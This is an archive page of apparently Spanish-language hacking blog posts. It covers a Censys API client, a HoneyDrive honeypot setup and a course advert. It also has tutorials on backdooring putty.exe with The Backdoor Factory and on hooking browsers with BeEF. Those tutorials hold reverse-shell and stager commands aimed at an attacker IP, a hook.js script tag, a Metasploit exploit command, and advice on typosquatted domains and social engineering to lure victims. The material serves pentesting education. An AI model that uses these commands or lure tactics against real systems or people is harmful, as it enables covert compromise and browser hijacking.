Archivo
Censys: Motor de búsqueda sobre dispositivos y servidores en Internet
Shodan es probablemente uno de los motores de búsqueda más utilizados por hackers (y curiosos) que quieren encontrar dispositivos y servidores en Internet que ejecutan servicios con características muy concretas, no en vano se le conoce como “el google de los hackers”. Es una herramienta muy valiosa que también permite acceder a sus funcionalidades de forma programática desde lenguajes de programación tales como Python, Perl o Ruby. En varias ocasiones se han mencionado sus virtudes en este blog y seguramente para muchos de vosotros nada de lo dicho anteriormente es algo nuevo, sin embargo cuando se menciona a “Censys”, actualmente son “pocas” las personas que conocen sus bondades. Del mismo modo que ocurre con Shodan, con Censys es posible realizar búsquedas muy concretas sobre dispositivos, servidores y redes que se encuentran en Internet, siendo un servicio muy similar y directa “competencia” de Shodan. El funcionamiento de Censys se basa en el uso de una herramienta que también es relativamente reciente y de la que ya se ha hablado anteriormente en este sitio, se trata de Zmap un escaner que permite ejecutar un escaneo completo contra el rango de direcciones IPv4 y que con los recursos de computo adecuados, permite el escaneo entero de Internet en un tiempo bastante razonable. Se trata sin lugar a dudas de una herramienta que merece la pena estudiar y comprender. Censys se encarga de ejecutar escaneos con Zmap diariamente y recolecta información sobre los servicios que se encuentran disponibles en las direcciones IP analizadas, que como se ha dicho anteriormente, comprenden el rango de direcciones IPv4 entero. El creador de Censys es el mismo de Zmap (Zakir Durumeric) y desde el primer paper público sobre el uso de Censys, en octubre de 2015, tanto él como John Matherly (Shodan) han defendido a capa y espada sus respectivos sistemas como es natural, exponiendo las virtudes del uno sobre el otro. Después de estudiar ambos, personalmente no me decanto por uno solo, todo lo contrario, prefiero utilizar ambos para obtener más información y poder comparar/complementar resultados. Del mismo modo que ocurre con Shodan, es posible utilizar una API basada en servicios Rest que pueden ser consultados fácilmente si se tiene una “Developer Key”, la cual se puede conseguir simplemente creando una cuenta gratuita en el servicio. Todos los días es posible acceder a un snapshot de los datos recolectados por el servicio, indicando la información disponible sobre direcciones, puertos, sitios web, certificados, etc. Por otro lado, la API está compuesta por los siguientes endpoints.
| search | Permite ejecutar búsquedas contra los índices más recientes que ha recolectado el sistema. |
| view | Permite recuperar información sobre un host concreto, sitio web o certificado. |
| report | Permite generar un reporte agrupado sobre un campo concreto en el conjunto de resultados. |
| query | Permite la ejecución de una consulta SQL contra la información actual e histórica que se ha ido registrando en el sistema y únicamente está disponible a investigadores verificados. |
| export | Permite la exportación de un conjunto de registros en formato JSON |
| data | Expone metadatos sobre la información en formato “crudo” que es recolectada diariamente por el sistema. |
Como se puede apreciar, son muy pocos endpoints y no es una API tan completa como la que implementa Shodan, pero sigue siendo muy interesante por la información que aporta. En este punto es posible interactuar con Censys por medio de dichos endpoints de forma programática, para ello es necesario crear una cuenta en Censys y obtener los campos API ID y Secret, tal como se puede apreciar en la siguiente imagen.
A la fecha de redactar este documento no hay ningún tipo de cliente oficial para Censys, pero dado que se trata de un servicio que se expone por medio de una API Rest, es posible utilizar cualquiera de las librerías disponibles en lenguajes de programación como Python, Ruby, C o Java, para consumir dichos servicios Rest sin mayores dificultades. En este caso concreto y tal como se ha visto en varias ocasiones en este blog, se utilizará Python para crear un cliente básico que consuma algunos de los servicios disponibles en Censys.
import sys
import json
import requests
API_URL = "https://www.censys.io/api/v1"
UID = "xxxxx"
SECRET = "zzzzz"
res = requests.get(API_URL + "/data", auth=(UID,
SECRET))
if res.status_code != 200:
print "error occurred: %s" % res.json()["error"]
sys.exit(1)
for name, series in res.json()["raw_series"].iteritems():
print series["name"], "was last updated at",
series["latest_result"]["timestamp"]
params = json={"query": "Apache",
"page":1}
res = requests.post(API_URL + "/search/certificates",
auth=(UID, SECRET), json=json)
print res.json()["results"][0].keys()
print res.json()["results"][0].values()
|
Hay que tener en cuenta que de acuerdo a la documentación la API Rest de Censys, es necesario invocar a cada uno de los endpoints con un método HTTP concreto, una serie de parámetros obligatorios y que además, muchas de las peticiones reciben datos en formato JSON, con lo cual es necesario realizar las peticiones HTTP siguiendo estás especificaciones. El script anterior es simplemente un ejemplo sobre el uso de los endpoints “/data” y “/search/certificates”. Tal como se puede apreciar, es bastante sencillo crear un cliente y obtener información de Censys utilizando su API Rest.
De todos modos, desde mi punto de vista hay dos características que hacen que Shodan sea una buena opción con respecto a Censys, considerando nuevamente que a mi juicio es recomendable utilizar ambas.
1. La API de Shodan parece estar mejor documentada y ser más completa, además de que hay clientes en diferentes lenguajes, lo que facilita su integración en cualquier herramienta, esto a la fecha de redactar este documento, no se consigue con Censys.
2- Shodan cuenta con varios filtros que permiten afinar las búsquedas y a la fecha de redactar este articulo, son mucho más completos que los que se encuentran disponibles en la interfaz de búsqueda de Censys.
En contrapartida, Censys permite el acceso a la información histórica que se ha ido recolectado y no pone limitaciones sobre los tipos de servicios que se pueden consultar, algo que si hace Shodan.
Se trata simplemente de un servicio que podéis utilizar de forma complementaria a Shodan para la recolección de información, se perfila como una excelente herramienta para ejecutar procesos OSINT y análisis de datos.
Un saludo y Happy Hack!
Adastra.
Inyección de código arbitrario en ejecutables con The Backdoor Factory
La técnica conocida como “code caving” consiste simplemente en buscar y encontrar un espacio en un fichero ejecutable que permita la inyección de rutinas externas (típicamente shellcodes). Los ficheros ejecutables están compuestos por varias secciones, cada una de las cuales tiene una estructura y funcionamiento especifico. Si por algún motivo, alguna de dichas secciones o incluso el programa entero tienen un tamaño reservado que es superior al que efectivamente utilizan, queda abierta la posibilidad de inyectar subrutinas externas en dichos espacios que están sin utilizar. No solamente es posible modificar secciones existentes, sino que también es posible crear secciones nuevas dependiendo del fichero a modificar. El “code caving” tiene varias ventajas que saltan a la vista, una de ellas es que no es necesario contar con el código fuente del programa, solamente es necesario hacer los ajustes adecuados jugando un poco con los espacios libres que se van encontrando. Por otro lado, es un proceso en el que no se afecta el funcionamiento normal del ejecutable, de hecho, uno de las principales objetivos de aplicar esta técnica es que el programa ejecute el código inyectado como una subrutina cualquiera y continúe con la ejecución de las demás funciones con normalidad. Esto quiere decir que se pueden alterar ficheros ejecutables con el objetivo de inyectar código malicioso y posteriormente, dichos programas van a funcionar del mismo modo que funcionaria el programa original, que es justamente lo que espera ver el usuario.
Este procedimiento se puede llevar a cabo manualmente, utilizando herramientas como OllyDBG, LordPE (para ficheros PE) y algunas otras que permitirán encontrar la mejor forma de inyectar un shellcode, sin embargo en esta ocasión, se hablará sobre The Backdoor Factory, una herramienta que permite automatizar el proceso descrito anteriormente y modificar ficheros ejecutables al vuelo para inyectar shellcodes.
Usando The Backdoor Factory
Se trata de una herramienta que puede instalarse de forma manual desde el código fuente que se encuentra disponible en el repositorio github en: https://github.com/secretsquirrel/the-backdoor-factory y las instrucciones para instalar el programa se encuentran ubicadas en https://github.com/secretsquirrel/the-backdoor-factory/wiki/2.-Installation. El procedimiento de instalación no es complejo y únicamente requiere que las dependencias se encuentren correctamente instaladas, concretamente “pefile” y “capstone”. No obstante, BDF se encuentra disponible en las últimas versiones de Kali Linux, si utilizas la versión 2.x de Kali Linux, ya tendrás BDF instalado en el sistema.
El uso básico de esta herramienta es bastante simple, solamente es necesario indicar el fichero ejecutable que se desea “infectar” y a continuación seleccionar el payload adecuado. Algunos de los parámetros que recibe el script principal por línea de comandos se listan a continuación:
-f / –file: Permite especificar el binario que será analizado por la herramienta y que posteriormente será “backdoorizado”.
-H / –hostip: Dirección IP utilizada para recibir las conexiones reversas iniciadas por las víctimas.
-P / –port:Puerto utilizado para recibir las conexiones reversas iniciadas por las víctimas.
-a / –add_new_section: Como su nombre lo indica, permite crear una nueva sección el fichero ejecutable, la cual incluirá el shellcode seleccionado con la opción “-s”
-s / –shell: Payloads disponibles en BDF. Si se utiliza la palabra reservada “show”, se enseñarán los payloads disponibles.
-d / –directory: En lugar de especificar un único fichero ejecutable, se puede indicar un directorio en donde se encuentran todos los binarios que BDF analizará para posteriormente “backdoorizar”.
-i / –injector: En este modo, BDF intentará verificar si el fichero original es un servicio y en tal caso, intentará detenerlo, sustituir el ejecutable por la versión generada con el shellcode inyectado y renombrar el fichero original con un sufijo, el cual por defecto es “.old”. Se trata de un modo muy útil en procesos de post-explotación.
-u / –suffix: Sufijo que será utilizado por el modo “injector” para sustituir los ficheros ejecutables originales.
Las anteriores son solamente algunas de las posibles opciones que se pueden utilizar desde BDF y como se puede ver su uso puede ser tan simple como lo siguiente:
|
./backdoor.py -H 192.168.1.237 -P 4444 -s reverse_shell_tcp_inline -f putty.exe -q |
En este caso se intenta “backdoorizar” el fichero “putty.exe”, un programa bastante popular entre los usuarios de sistemas Windows para conectarse a otros sistemas por medio de SSH, Telnet, Rlogin, etc. Se utilizará el payload “reverse_shell_tcp_inline”, un payload bastante simple que permite establecer una shell reversa desde el sistema de la víctima hacia un sistema controlado por el atacante. Con las opciones “-H” y “-P” se ha indicado la dirección IP y puerto en donde el atacante tendrá un proceso en estado de escucha, esperando las conexiones por parte de las víctimas. Dicho proceso puede ser tan simple como iniciar un “netcat” en el puerto “4444”.
Imagen 1: Generando un fichero malicioso con BDF partiendo del programa “putty”.
Después de generar el programa, lo siguiente es conseguir que el objetivo lo ejecute en su sistema y para ello, muy probablemente sea necesario emplear técnicas de ingeniería social, aunque también puede ser perfectamente valido adquirir un dominio muy similar al dominio original donde se distribuye el programa (http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html) cambiando, por ejemplo, algunas de las letras del dominio e incluyendo exactamente el mismo contenido de las páginas HTML del sitio legitimo. De esta forma y haciendo una “difusión” del dominio malicioso se puede llegar a un número mucho más elevado de víctimas. Como siempre, todo depende de los objetivos del atacante y su creatividad.
En el caso de que la víctima descargue el fichero malicioso y lo ejecute en su ordenador, verá que no hay ningún tipo de alarma o actividad sospechosa que le haga creer que su ordenador ha sido comprometido debido a la ejecución del programa que acaba de descargar y ejecutar, simplemente verá el programa “putty” funcionando correctamente. Aunque el usuario podrá seguir utilizando el programa como lo hace habitualmente, el atacante ahora tendrá una consola contra su sistema y todo ha sido sigiloso y sin despertar ningún tipo de alarma o sospecha.
Imagen 2: Atacante interactuando con el sistema de la víctima.
Del mismo modo que es posible establecer un shellcode simple, también se puede establecer uno “staged”, algo que viene muy bien si se quiere recibir la conexión reversa de la víctima con Metasploit Framework. Para eso, en BDF hay varios payloads, resultando especialmente interesante el “iat_reverse_tcp_stager_threaded” el cual utilizará la “Import Address Table” para construir el espacio donde se almacenará el shellcode.
|
./backdoor.py -H 192.168.1.237 -P 4444 -s iat_reverse_tcp_stager_threaded -f putty.exe -q |
Después de generar el fichero malicioso y de establecer el handler de Metasploit para aceptar conexiones por el puerto “4444”, el cliente debe ejecutar el programa y a continuación, se abrirá una nueva sesión “meterpreter” en la consola del atacante, como es habitual.
Imagen 3: Obteniendo una sesión “meterpreter” partiendo de un ejecutable generado con BDF.
Aquí solamente se ha visto el uso básico de BDF, pero los conceptos sobre los que se encuentra construida suelen ser mucho más interesantes que simplemente ejecutar un script y obtener un ejecutable malicioso. Es probable que realizar este mismo procedimiento manualmente, sin la ayuda de herramientas como BDF sea mucho más ilustrativo para comprender conceptos tan importantes como las secciones de un ejecutable y las diferentes técnicas de “code caving” que se pueden aplicar utilizando únicamente, un programa para analizar la estructura de programas del tipo PE y un editor hexadecimal. Esto se hará en un próximo artículo.
Un saludo y Happy Hack!
Adastra.
Honeypots: Agrupación y gestión de honeypots con HoneyDrive – Parte 4
Hace algunos meses comencé a hablar sobre algunos de los honeypots más interesantes que se encuentran actualmente a nuestra disposición, entre los cuales no pueden faltar Kippo y Dionaea, sin embargo hay muchos más que simulan el comportamiento de muchos de los servicios más habituales. Una buena forma de explorar algunos de los más conocidos es por medio de HoneyDrive, una distribución basada en Linux, concretamente con Xubuntu Desktop 12.04 LTS. Cuenta con más de 10 honeypots preconfigurados y listos para ser utilizados en la plataforma, entre los cuales destacan Dionaea, Kippo, Amun, Honeyd, Honeyd2MySQL, Glastopf, Conpot, entre muchos otros que se irán explicando detalladamente en esta y próximas entradas. Evidentemente, es muy ventajoso tener todo correctamente preparado y configurado para que únicamente sea cuestión de arrancar los servicios necesarios y a correr, pero siempre es aconsejado contar con un buen nivel de conocimientos sobre las tecnologías utilizadas ya que en ocasiones resulta conveniente instalar las herramientas “a mano” para entender cuáles son las posibles configuraciones que se pueden aplicar. El proyecto se encuentra ubicado en la siguiente ruta https://bruteforce.gr/honeydrive y se puede descargar la última versión disponible desde el repositorio SVN, el cual se encuentra ubicado en la siguiente ruta: http://sourceforge.net/projects/honeydrive/
Allí se encuentra disponible el servicio virtualizado (.OVA) el cual puede ser desplegado directamente en VirtualBox. Una vez descargada, instalada la imagen OVA e iniciado el sistema, en el escritorio se encuentra un fichero llamado “README” el cual incluye todos los detalles necesarios para poder utilizar todos los honeypots y herramientas que se encuentran instaladas en el sistema. Por ejemplo, es posible utilizar el honeypot Kippo tal como se ha visto en el primer artículo que se encuentra aquí: https://thehackerway.com/2015/03/24/honeypots-parte-1-kippo/
Imagen 1: Iniciando Kippo en HoneyDrive.
En este caso, Kippo se vinculará al puerto “22” y aceptará peticiones por parte de clientes/atacantes que intenten acceder al sistema. Tal como se ha visto en el artículo sobre Kippo, su configuración es muy simple y únicamente es necesario establecer las opciones adecuadas en el fichero “kippo.cfg”. En el caso de HoneyDrive, dicho fichero de configuración se encuentra ubicado en “/honeydrive/kippo” y su contenido por defecto es el siguiente:
|
[honeypot] ssh_port = 22 hostname = svr03 log_path = log download_path = dl contents_path = honeyfs filesystem_file = fs.pickle data_path = data txtcmds_path = txtcmds public_key = public.key private_key = private.key ssh_version_string = SSH-2.0-OpenSSH_5.1p1 Debian-5 interact_enabled = false interact_port = 5123 [database_mysql] host = localhost database = kippo username = root password = honeydrive port = 3306 |
Como se puede apreciar, algunas opciones de configuración vienen con los valores por defecto que trae Kippo, y otras, como el caso de la conexión a una base de datos para el registro de los eventos producidos, si que han sido personalizadas específicamente para funcionar sobre el sistema. Esta configuración puede modificarse sin ningún problema para adaptarse a las necesidades particulares de cualquiera, solamente es necesario conocer cuál es el comportamiento de de cada una de las opciones disponibles, tal como se ha visto en el primer artículo sobre honeypots y Kippo.
En HoneyDrive viene instalado PhpMyAdmin, lo que permitirá conectarse a una de las base de datos MySQL que se encuentran en el sistema y ver los eventos que se han podido registrar. En este caso concreto, interesa la base de datos “kippo”, que es en donde se almacenarán los intentos de acceso al puerto donde se encuentra en ejecución Kippo. El nombre de usuario para acceder a PhpMyAdmin es “root” y la contraseña es “honeydrive”. Una vez el usuario se autentica, tal como se puede ver en el panel de la izquierda, están todas las bases de datos que se encuentran disponibles.
Imagen 2: PhpMyAdmin en HoneyDrive.
Cuando un usuario intenta acceder al servicio de Kippo, automáticamente su intento de autenticación queda registrado en la base de datos, concretamente en la tabla “auth”, la cual almacena todos los intentos con su correspondiente nombre de usuario y contraseña, así como si el intento ha tenido éxito o no. Por otro lado, dicha tabla se encuentra relacionada con la tabla “sessions”, en donde se registran los datos básicos del usuario que ha intentado autenticarse, incluyendo su dirección IP.
Imagen 3: PhpMyAdmin en HoneyDrive.
En otras dos entradas se ha hablado de Dionaea, un honeypot enfocado a la detección y análisis de malware y en el caso de HoneyDrive también se encuentra preconfigurado y listo para ser utilizado. Los detalles se encuentran incluidos en el fichero README y son los que se listan a continuación.
|
[Dionaea] Location: /opt/dionaea/ Start script: /honeydrive/dionaea-vagrant/runDionaea.sh Binary: /opt/dionaea/bin/dionaea Configuration: /opt/dionaea/etc/dionaea/dionaea.conf Logs: /opt/dionaea/var/log/ SQLite database: /opt/dionaea/var/dionaea/logsql.sqlite Malware samples: /opt/dionaea/var/dionaea/binaries/ Log rotation: enabled phpLiteAdmin: /var/www/phpliteadmin/ + password: honeydrive + allow only localhost: enabled |
Con la configuración por defecto se puede arrancar Dionaea sin ninguna dificultad, simplemente ejecutando el script “/honeydrive/dionaea-vagrant/runDionaea.sh”. Este script se puede modificar con el fin de personalizar el comando de ejecución y remover o incluir otros parámetros que admite el programa “dionaea”.
Imagen 4: Dionaea en HoneyDrive.
A continuación se puede utilizar Metasploit Framework para comprobar su funcionamiento. Esto mismo se ha visto en una entrada anterior de esta misma serie de artículos: https://thehackerway.com/2015/04/14/honeypots-parte-3-configuracion-y-analisis-de-malware-con-dionaea/
|
msf > use exploit/windows/smb/ms06_040_netapi msf exploit(ms06_040_netapi) > set PAYLOAD windows/shell/bind_tcp PAYLOAD => windows/shell/bind_tcp msf exploit(ms06_040_netapi) > set RHOST 192.168.1.42 RHOST => 192.168.1.42 msf exploit(ms06_040_netapi) > exploit [*] Started bind handler [*] Detected a Windows XP SP0/SP1 target |
En el fichero de logs de Dionaea se puede apreciar lo siguiente:
Imagen 5: Logs de Dionaea.
Tal como se ha visto en una entrada anterior, Dionaea también es capaz de detectar y almacenar muestras de malware que envíe un atacante, algo especialmente útil si se desea analizarlas después con Cuckoo Framework o cualquier otra herramienta.
Aquí se ha visto un ejemplo muy simple del uso de Kippo y Dionaea en Honey Drive, sin embargo existen muchos más honeypots y herramientas que se encuentran incluidos en esta interesante distribución y que se irán viendo con mucho más detalle en próximos artículos.
Un saludo y Happy Hack!
Adastra.
THW Academy: Plataforma de aprendizaje para hackers en castellano.
Las cosas han cambiado muchísimo con respecto a hace poco más de 15 años, por aquel entonces encontrar información sobre seguridad informática y hacking no estaba al alcance de todo el mundo, en las bibliotecas ya te podías olvidar de encontrar manuales sobre reversing en sistemas Linux, explotación de software o hacking en general. Por aquella época todo ello era como la magia o la alquimia, cosas maravillosas que pocos habían llegado a escuchar y muchos menos habían llegado a ver.
Ahora tenemos Internet, comunidades, blogs, foros, etc. Mucha información que se encuentra a nuestro alcance y llegamos a ella al instante, muchas nuevas tecnologías y una curva de aprendizaje que cada vez está más cuesta arriba. No obstante nos seguimos encontrando con que prácticamente toda la documentación de calidad y con buenos niveles de profundidad se encuentra en inglés.
Hay muchos sitios en castellano que no son buenos, son lo siguiente, pero a veces se suelen centrar una temática muy concreta o abarcan muchos temas sin llegar a un nivel de profundidad aceptable en ninguno.
Luego, hay muchos cursos/certificaciones en donde te piden que pagues miles de euros para aprender sobre web hacking, reversing, networking, programación o cualquier otra temática concreta, con unos precios que a mi juicio tienen una calidad/precio muy desproporcionada.
Los que me conocéis o seguís este blog, sabéis que me gusta investigar y compartir lo que aprendo, llevo muchos años con una “sed” de conocimiento que nunca he llegado a saciar y aunque han habido épocas en las que me he sentido muy cansado y desmotivado por situaciones concretas, nunca he claudicado y llevo media vida, casi 15 años, intentando aprender y mejorar mis habilidades a nivel personal y académico, lo hago porque como he dicho en otras ocasiones, para mi esto no es solamente un oficio, representa una filosofía de vida a la que me mantengo fiel y también por eso escribo en este espacio cada vez que puedo.
Todo esto me ha llevado a crear THW Academy (http://academy.thehackerway.com/), una plataforma de aprendizaje totalmente online en la que vas a poder aprender sobre seguridad informática y hacking desde una perspectiva completamente “hands on” o practica. No esperes las típicas clases tradicionales llenas de conceptos teóricos sin ningún tipo de demostración practica, o clases demasiado extensas y aburridas en las que desconectas a los 10 minutos. Todas las sesiones de cada uno de los cursos tienen una parte teórica que suele ser muy concisa y una parte practica en la que se puede ver “al vuelo” cómo se aplican los conceptos teóricos.
Este espacio lo he diseñado con tres niveles de cursos: “Básico”, “Intermedio” y “Avanzado”, cada uno adaptado a su correspondiente nivel. Las personas inscritas en la plataforma podrán acceder a todos los cursos de cada nivel sin ningún tipo de restricción. Se suben varias sesiones todas las semanas que se pueden consultar en el calendario oficial, además tendrás acceso a vídeos en HD, documentación y espacios privados especialmente diseñados para probar técnicas de hacking.
Puedes seguir todos los cursos a la vez o solamente aquellos que sean de tu interés. Es aconsejable ir siguiendo las sesiones de todos los cursos para sacar el máximo provecho de la plataforma, pero el estudiante es libre de seguir únicamente aquellos cursos que decida. En la medida en que los cursos van avanzando, los contenidos van siendo más prácticos y didácticos, el desarrollo de las sesiones semanales es constante y muy dinámico, cada mes vas a tener acceso a varios vídeos que podrás repasar las veces que quieras.
La plataforma se encuentra ubicada en: http://academy.thehackerway.com y como podrás ver en el catalogo de cursos, los que se encuentran disponibles actualmente son los siguientes:
“Básico”
THWB1: Introducción a la programación en Python.
THWB2: Introducción a la privacidad y el anonimato.
THWB3: Introducción a la programación en Ruby.
THWB4: Introducción al pentesting y al hacking.
“Intermedio”
THWI1: Pentesting en aplicaciones web.
THWI2: Administración y hardening de servidores web Apache.
THWI3: Desarrollo web seguro con Java.
“Avanzado”
THWA1: Hacking con Python.
THWA2: Uso y configuración avanzada de I2P y Freenet.
THWA3: Uso y configuración avanzada de TOR.
Son 10 cursos a los que vas a tener acceso por el mismo precio y además hay promociones que te podrían interesar. El calendario oficial incluye la planificación de las sesiones que se van a publicar durante los próximos meses con sus correspondientes contenidos, el cual puedes consultar en el siguiente enlace: http://academy.thehackerway.com/calendario-oficial además, puedes ver más detalles sobre THW Academy aquí: http://academy.thehackerway.com/cuentame-que-es-esto
En los próximos meses también tengo planificados cursos sobre Arquitectura de ordenadores, introducción a ensamblador, Fuzzing y explotación de software avanzado en sistemas Windows y Linux.
Esto es lo que tengo para toda la comunidad, quiero compartir lo que constantemente he ido aprendiendo en los años que llevo dedicado a esto y todo lo que me queda por aprender. Creo que está es una buena forma.
Como siempre, si quieres comentarme cualquier cosa o necesitas más información, me puedes escribir a adastra@thehackerway.com
Saludos y Happy Hack!
Adastra.
Pentesting automatizado con Beef y su API Rest – Parte 1
Beef (The Browser Exploitation Framework) ha tenido una evolución bastante interesante en los últimos años y se han añadido mejoras que le convierten en una herramienta que se debe tener en cuenta a la hora de realizar pruebas de penetración u otras actividades relacionadas con el hacking. Se trata de un framework del que ya he hablado hace algún tiempo en varias entradas en las que comentaba cómo automatizar ataques XSS con Beef y cómo integrar Beef con Metasploit Framework. El proceso de instalación y otros detalles de la herramienta han cambiado un poco desde aquel entonces y por ese motivo, me he animado a escribir un parde artículos en los que voy a explicar cómo instalar la última versión de Beef, consumir la API Rest que se encuentra disponible en el Framework para automatizar tareas y otras características interesantes.
Instalando Beef
Beef se encuentra desarrollado en Ruby, con lo cual es necesario contar con el interprete de Ruby instalado en el sistema. En mi experiencia, suele ser un poco complicado trabajar con herramientas como Beef y Metasploit Framework cuando se utilizan diferentes versiones de Ruby, por ese motivo siempre es recomendable utilizar RVM (Ruby Version Manager) para poder activar y gestionar varias versiones de Ruby sobre el mismo sistema. Puedes echarle un vistazo al sitio web oficial del proyecto (https://rvm.io/) veras que te va a facilitar las cosas y te va a ahorrar mucho tiempo.
Dicho esto, el primer paso para instalar Beef consiste en descargar la última versión del proyecto que se encuentra disponible en su repositorio Github.
| >git clone https://github.com/beefproject/beef.git beef-lastest
>cd beef-lastest Fetching: bundler-1.10.5.gem (100%) Successfully installed bundler-1.10.5 Parsing documentation for bundler-1.10.5 Installing ri documentation for bundler-1.10.5 Done installing documentation for bundler after 3 seconds 1 gem installed >bundle install >./beef |
Ejecutando Beef
Si estas utilizando RVM, debes activar un entorno de Ruby que se encuentre instalado en RVM, para ello basta con ejecutar el siguiente comando
| >source <HOME_USER>/.rvm/scripts/rvm |
Como se puede apreciar, se han levantado algunos servicios y se ha vinculado el puerto 3000 para interactuar con el panel de control. Además, vemos que se ha generado una API Key para interactuar con los servicios Rest de la plataforma, esto será útil posteriormente para automatizar el uso de Beef. Por otro lado, cuando se intenta acceder a la página principal de Beef, se solicita un nombre de usuario y una contraseña, los cuales por defecto son “beef”/“beef”. Todos estos detalles se pueden cambiar muy fácilmente editando el fichero <BEEF_INSTALL>/config.yaml
Funcionamiento de Beef
Beef, a diferencia de otras herramientas de pentesting web, se centra en el contexto de los clientes y utilizando un hook en Javascript, permite crear una red de bots que pueden ser controlados desde un panel de control central. Basta con que un usuario navegue por un sitio web que contenga dicho hook para que automáticamente haga parte de esa red de bots. Hay que tener en cuenta que dicho hook no explota ninguna vulnerabilidad 0day sobre los navegadores web o cosas similares, sino que simplemente incluye varias rutinas desarrolladas en Javascript que realizan peticiones contra el panel de control de Beef y desde dicho panel de control, se pueden enviar instrucciones al hook para que realice tareas sobre el entorno (navegador web) de la víctima, de esta forma es posible acceder a información básica del navegador web, activar o desactivar plugins y extensiones o incluso forzar la navegación hacia sitios web arbitrarios, obviamente sin la debida autorización por parte de la víctima. La siguiente imagen enseña la arquitectura de Beef y como se puede ver, se compone por un servidor centrar del C&C y una serie de zombies que se encuentran “infectados” por el hook. Ahora bien, esta supuesta “infección” no es persistente ni mucho menos, ya que se trata simplemente de un fichero Javascript se ejecuta en el contexto de la página web visitada por la víctima, basta con cerrar dicha página web y problema resuelto.
Arquitectura de beef
La imagen anterior ha sido tomada del sitio web oficial de Beef y se puede apreciar perfectamente el funcionamiento de la herramienta que es simple y a su vez muy potente.
Cuando una víctima accede a una página web que contiene el hook y a menos que exista algún bloqueo de las peticiones HTTP entre el C&C de Beef y la víctima, aparecerá automáticamente en el panel de control un nuevo bot.
A partir de aquí, es el momento de establecer el vector de ataque. Debes crear una página web que incluya el script “hook.js” y evidentemente, entre mejor elaborado sea dicho vector, mejores resultados (+ víctimas) lograrás conseguir. Aquí entra en juego la creatividad y definir quien o quienes van a ser los objetivos del ataque, de tal forma que puedas ofrecer algo que tus víctimas potenciales puedan querer y les invite a entrar y permanecer en el sitio web que ejecuta el hook, aquí las técnicas de ingeniería social son vitales y ofrecer un servicio perfectamente “legitimo” como un juego online o algún servicio web concreto, puede ser lo suficientemente atractivo para la víctima como para que decida visitar el sitio y permanecer en él algún tiempo. Dicha página lo único que necesita tener es esto:
| <script src=”http://192.168.1.98:3000/hook.js” type=”text/javascript”></script> |
Así de fácil.
Cuando una víctima accede a la página web maliciosa, automáticamente se convierte en un bot del C&C de Beef, tal como se enseña en la siguiente imagen.
Automatización de Beef con su API Rest
Ahora viene la parte divertida, Beef cuenta con una API Rest que permite la automatización de tareas, algo que desde luego viene muy bien cuando se deben gestionar múltiples víctimas y resulta muy ineficiente (y tedioso) hacerlo desde la interfaz web. Su uso es bastante simple y como se ha visto en líneas anteriores, solamente es necesario contar con la API Key que genera la herramienta de forma automática cuando se levanta Beef. Con dicha API Key se pueden invocar los endpoints definidos en la API y de esta forma, obtener información del C&C de Beef en formato JSON. Para hacer pruebas simples se puede utilizar una herramienta con CURL o WGET y posteriormente, utilizar un lenguaje como Python o Ruby para crear rutinas que permitan invocar múltiples endpoints y hacer cosas mucho más interesantes.
Obtener el listado de víctimas
| >curl http://localhost:3000/api/hooks?token=4ecc590cb776484412492a7bd3f0ad03cd47660 {“hooked-browsers”:{“online”:{“0”:{“id”:1,”session”:”ZHHT3vCTs9NRDvSmtoiWs0GfgjJYBNRctWlhx5aJKtwczH7klN6fmInMZi0K9hxirSZm56TRRD4OaqHi”,”name”:”FF”,”version”:”38″,”os”:”Linux”,”platform”:”Linux x86_64″,”ip”:”192.168.1.98″,”domain”:”Unknown”,”port”:”0″,”page_uri”:”file:///home/adastra/Escritorio/testing.html”}},”offline”:{}}} |
Como se puede ver, aparecen los bots que salen en el panel de control de Beef y en este caso, cada “hooked-browser” puede encontrarse online u offline y cuenta con un identificador (atributo “session”) que puede ser utilizado para realizar consultas contra ese bot concreto como por ejemplo…
Recuperar los detalles del navegador web de un bot concreto
| >curl http://localhost:3000/api/hooks/ZHHT3vCTs9NRDvSmtoiWs0GfgjJYBNRctWlhx5aJKtwczH7klN6fmInMZi0K9hxirSZm56TRRD4OaqHi?token=4ecc590cb776484412492a7bd3f0ad03cd47660a {“BrowserLanguage”:”es-ES”,”BrowserName”:”FF”,”BrowserPlatform”:”Linux x86_64″,”BrowserPlugins”:”DivX® Web Player-v.,Google Talk Plugin-v.,Google Talk Plugin Video Renderer-v.,Java(TM) Plug-in 10.80.2-v.10.80.2,QuickTime Plug-in 7.6.6-v.,Shockwave Flash-v.11.2.202.468,VLC Multimedia Plugin (compatible Videos 3.10.1)-v.,Windows Media Player Plug-in 10 (compatible; Videos)-v.,iTunes Application Detector-v.”,”BrowserReportedName”:”Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0″,”BrowserType”:”{\”C19iOS\”:null,\”C20iOS\”:null,\”C21iOS\”:null,\”C22iOS\”:null,\”C23iOS\”:null,\”C24iOS\”:null,\”C25iOS\”:null,\”C26iOS\”:null,\”C27iOS\”:null,\”C28iOS\”:null,\”C29iOS\”:null,\”C30iOS\”:null,\”C31iOS\”:null,\”C32iOS\”:null,\”C33iOS\”:null,\”C34iOS\”:null,\”C35iOS\”:null,\”C36iOS\”:null,\”C37iOS\”:null,\”C38iOS\”:null,\”C39iOS\”:null,\”C40iOS\”:null,\”C41iOS\”:null,\”C42iOS\”:null,\”C\”:null,\”FF38\”:true,\”FF\”:true}”,”BrowserVersion”:”38″,”CPU”:”64-bit”,”Cookies”:”BEEFHOOK=ZHHT3vCTs9NRDvSmtoiWs0GfgjJYBNRctWlhx5aJKtwczH7klN6fmInMZi0K9hxirSZm56TRRD4OaqHi”,”DateStamp”:”Wed Jul 08 2015 22:02:28 GMT+0200 (CEST)”,”DefaultBrowser”:”Unknown”,”Hardware”:”Unknown”,”HasActiveX”:”No”,”HasFlash”:”Yes”,”HasGoogleGears”:”No”,”HasPhonegap”:”No”,”HasQuickTime”:”Yes”,”HasRealPlayer”:”No”,”HasWMP”:”Yes”,”HasWebRTC”:”Yes”,”HasWebSocket”:”Yes”,”HostName”:”Unknown”,”IP”:”192.168.1.98″,”OsName”:”Linux”,”PageReferrer”:”Unknown”,”PageTitle”:”Unknown”,”PageURI”:”file:///home/adastra/Escritorio/testing.html”,”ScreenSize”:”{\”width\”=>1920, \”height\”=>1080, \”colordepth\”=>24}”,”TouchEnabled”:”No”,”VBScriptEnabled”:”No”,”WindowSize”:”{\”width\”=>1865, \”height\”=>953}”,”hasPersistentCookies”:”Yes”,”hasSessionCookies”:”Yes”} |
